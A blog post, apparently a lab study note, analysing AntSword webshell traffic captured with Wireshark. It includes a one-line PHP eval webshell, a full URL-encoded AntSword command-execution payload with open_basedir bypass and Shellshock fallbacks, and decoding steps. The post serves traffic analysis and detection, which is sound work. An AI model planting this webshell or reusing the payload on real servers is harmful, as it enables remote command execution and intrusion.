Skip to content

WRITING / POSTS

AntSword Webshell Traffic Analysis and Incident Tracing

Local AntSword traffic analysis: HTTP POST parameters, response formats, default/chr/rot13 encoding, and scripted response decoding.

On this page 7 sections

AntSword Traffic Analysis and Incident Tracing

Environment setup

:::info This setup uses an Ubuntu virtual machine together with Windows and Wireshark.

:::

Here, a bridged connection is used.

The main setup is an Apache + PHP environment.

sudo apt update
sudo apt install apache2 -y
sudo apt install php libapache2-mod-php -y
sudo systemctl restart apache2

Create a vulnerable PHP application.

echo "<?php @eval(\$_POST['ant']); ?>" | sudo tee /var/www/html/shell.php

You can check the IP address from the command line.

ip addr

Open Wireshark and capture traffic on VMnet8 using a filter.

Open AntSword.

Connect to the vulnerable Ubuntu host.

The result is as follows.

Traffic characteristics analysis

Summary

  1. Every request begins with “0”.
  2. For response packets, with the default setting, the format is an extra character followed by the result; the query result is a random number, the result, and a random number.

  1. Mainly uses HTTP POST requests (this is actually the same in all cases).
  2. The request body is parameterized and often uses a random key name.

Testing process

Execute a command

During data exchange between AntSword and the website, the data sent is encoded by an encoder before transmission. Supported encoding methods include default, base64, chr, chr16, and rot13. Data returned by the website is encoded using the selected decoder method before being returned; supported methods include default, base64, and rot13.

Both the decoder and encoder are set to default.

whoami

Follow the TCP stream in Wireshark.

ant=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(base64_decode(%22Lzt8Oi8%3D%22)%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.c27656278a11%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%24tmdir%3Drealpath(%24tmdir)%3B%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22fc689%22.%22900e3%22%3Becho%20%40asenc(%24output)%3Becho%20%2229eac8%22.%22fa1502%22%3B%7Dob_start()%3Btry%7B%24p%3Dbase64_decode(substr(%24_POST%5B%22k1ec9ed6804696%22%5D%2C2))%3B%24s%3Dbase64_decode(substr(%24_POST%5B%22k99eb9fde3781e%22%5D%2C2))%3B%24envstr%3D%40base64_decode(substr(%24_POST%5B%22ndb0b51fc34194%22%5D%2C2))%3B%24d%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24c%3Dsubstr(%24d%2C0%2C1)%3D%3D%22%2F%22%3F%22-c%20%5C%22%7B%24s%7D%5C%22%22%3A%22%2Fc%20%5C%22%7B%24s%7D%5C%22%22%3Bif(substr(%24d%2C0%2C1)%3D%3D%22%2F%22)%7B%40putenv(%22PATH%3D%22.getenv(%22PATH%22).%22%3A%2Fusr%2Flocal%2Fsbin%3A%2Fusr%2Flocal%2Fbin%3A%2Fusr%2Fsbin%3A%2Fusr%2Fbin%3A%2Fsbin%3A%2Fbin%22)%3B%7Delse%7B%40putenv(%22PATH%3D%22.getenv(%22PATH%22).%22%3BC%3A%2FWindows%2Fsystem32%3BC%3A%2FWindows%2FSysWOW64%3BC%3A%2FWindows%3BC%3A%2FWindows%2FSystem32%2FWindowsPowerShell%2Fv1.0%2F%3B%22)%3B%7Dif(!empty(%24envstr))%7B%24envarr%3Dexplode(%22%7C%7C%7Casline%7C%7C%7C%22%2C%20%24envstr)%3Bforeach(%24envarr%20as%20%24v)%20%7Bif%20(!empty(%24v))%20%7B%40putenv(str_replace(%22%7C%7C%7Caskey%7C%7C%7C%22%2C%20%22%3D%22%2C%20%24v))%3B%7D%7D%7D%24r%3D%22%7B%24p%7D%20%7B%24c%7D%22%3Bfunction%20fe(%24f)%7B%24d%3Dexplode(%22%2C%22%2C%40ini_get(%22disable_functions%22))%3Bif(empty(%24d))%7B%24d%3Darray()%3B%7Delse%7B%24d%3Darray_map('trim'%2Carray_map('strtolower'%2C%24d))%3B%7Dreturn(function_exists(%24f)%26%26is_callable(%24f)%26%26!in_array(%24f%2C%24d))%3B%7D%3Bfunction%20runshellshock(%24d%2C%20%24c)%20%7Bif%20(substr(%24d%2C%200%2C%201)%20%3D%3D%20%22%2F%22%20%26%26%20fe('putenv')%20%26%26%20(fe('error_log')%20%7C%7C%20fe('mail')))%20%7Bif%20(strstr(readlink(%22%2Fbin%2Fsh%22)%2C%20%22bash%22)%20!%3D%20FALSE)%20%7B%24tmp%20%3D%20tempnam(sys_get_temp_dir()%2C%20'as')%3Bputenv(%22PHP_LOL%3D()%20%7B%20x%3B%20%7D%3B%20%24c%20%3E%24tmp%202%3E%261%22)%3Bif%20(fe('error_log'))%20%7Berror_log(%22a%22%2C%201)%3B%7D%20else%20%7Bmail(%22a%40127.0.0.1%22%2C%20%22%22%2C%20%22%22%2C%20%22-bv%22)%3B%7D%7D%20else%20%7Breturn%20False%3B%7D%24output%20%3D%20%40file_get_contents(%24tmp)%3B%40unlink(%24tmp)%3Bif%20(%24output%20!%3D%20%22%22)%20%7Bprint(%24output)%3Breturn%20True%3B%7D%7Dreturn%20False%3B%7D%3Bfunction%20runcmd(%24c)%7B%24ret%3D0%3B%24d%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(fe('system'))%7B%40system(%24c%2C%24ret)%3B%7Delseif(fe('passthru'))%7B%40passthru(%24c%2C%24ret)%3B%7Delseif(fe('shell_exec'))%7Bprint(%40shell_exec(%24c))%3B%7Delseif(fe('exec'))%7B%40exec(%24c%2C%24o%2C%24ret)%3Bprint(join(%22%0A%22%2C%24o))%3B%7Delseif(fe('popen'))%7B%24fp%3D%40popen(%24c%2C'r')%3Bwhile(!%40feof(%24fp))%7Bprint(%40fgets(%24fp%2C2048))%3B%7D%40pclose(%24fp)%3B%7Delseif(fe('proc_open'))%7B%24p%20%3D%20%40proc_open(%24c%2C%20array(1%20%3D%3E%20array('pipe'%2C%20'w')%2C%202%20%3D%3E%20array('pipe'%2C%20'w'))%2C%20%24io)%3Bwhile(!%40feof(%24io%5B1%5D))%7Bprint(%40fgets(%24io%5B1%5D%2C2048))%3B%7Dwhile(!%40feof(%24io%5B2%5D))%7Bprint(%40fgets(%24io%5B2%5D%2C2048))%3B%7D%40fclose(%24io%5B1%5D)%3B%40fclose(%24io%5B2%5D)%3B%40proc_close(%24p)%3B%7Delseif(fe('antsystem'))%7B%40antsystem(%24c)%3B%7Delseif(runshellshock(%24d%2C%20%24c))%20%7Breturn%20%24ret%3B%7Delseif(substr(%24d%2C0%2C1)!%3D%22%2F%22%20%26%26%20%40class_exists(%22COM%22))%7B%24w%3Dnew%20COM('WScript.shell')%3B%24e%3D%24w-%3Eexec(%24c)%3B%24so%3D%24e-%3EStdOut()%3B%24ret.%3D%24so-%3EReadAll()%3B%24se%3D%24e-%3EStdErr()%3B%24ret.%3D%24se-%3EReadAll()%3Bprint(%24ret)%3B%7Delse%7B%24ret%20%3D%20127%3B%7Dreturn%20%24ret%3B%7D%3B%24ret%3D%40runcmd(%24r.%22%202%3E%261%22)%3Bprint%20(%24ret!%3D0)%3F%22ret%3D%7B%24ret%7D%22%3A%22%22%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B&k1ec9ed6804696=spL2Jpbi9zaA%3D%3D&k99eb9fde3781e=zoY2QgIi92YXIvd3d3L2h0bWwiO3dob2FtaTtlY2hvIGE5MDA4YjM7cHdkO2VjaG8gYTczOGUzZGI%3D&ndb0b51fc34194=4z

First URL-decode it. For example, we can process the final base64 value.

zoY2QgIi92YXIvd3d3L2h0bWwiO3dob2FtaTtlY2hvIGE5MDA4YjM7cHdkO2VjaG8gYTczOGUzZGI%3D&ndb0b51fc34194=4z

# 删除前面的zo

Y2QgIi92YXIvd3d3L2h0bWwiO3dob2FtaTtlY2hvIGE5MDA4YjM7cHdkO2VjaG8gYTczOGUzZGI
--->
cd "/var/www/html";whoami;echo a9008b3;pwd;echo a738e3db

chr encoding + rot13 output

Overall, the logic and format are the same; only the encoding format of the sent and received packets differs. My understanding is that this adds another encoding/decoding layer.

The situation is as follows.

The rot13 output is as follows.

Decoded:

Attachments

rot13 decoding script

import codecs

def rot13_decode(text):
    try:
        decoded_text = codecs.decode(text, 'rot_13')
        return decoded_text
    except Exception as e:
        print(f"解码时发生错误: {e}")
        return None

if __name__ == "__main__":
    while True:
        encoded_text = input("请输入要进行 ROT13 解码的文本 (输入 'quit' 退出): ")
        if encoded_text.lower() == 'quit':
            break
        decoded_result = rot13_decode(encoded_text)

        if decoded_result is not None:
            print(f"ROT13 解码结果: {decoded_result}\n")
    print("脚本已退出。")

def rot13_manual(text):
    result = []
    for char in text:
        char_code = ord(char)
        if 'A' <= char <= 'Z':
            new_code = ord('A') + (char_code - ord('A') + 13) % 26
            result.append(chr(new_code))
        elif 'a' <= char <= 'z':
            new_code = ord('a') + (char_code - ord('a') + 13) % 26
            result.append(chr(new_code))
        else:
            result.append(char)

    return "".join(result)
Edit this post

Continue reading

Related posts
Previous post
TCP/IP Core Protocol Study Notes (TryHackMe)
Next post
L3HCTF best_profile: Nginx Caching and Flask ProxyFix

On this page

SEARCH / QUICK FIND

Search English content

Try searching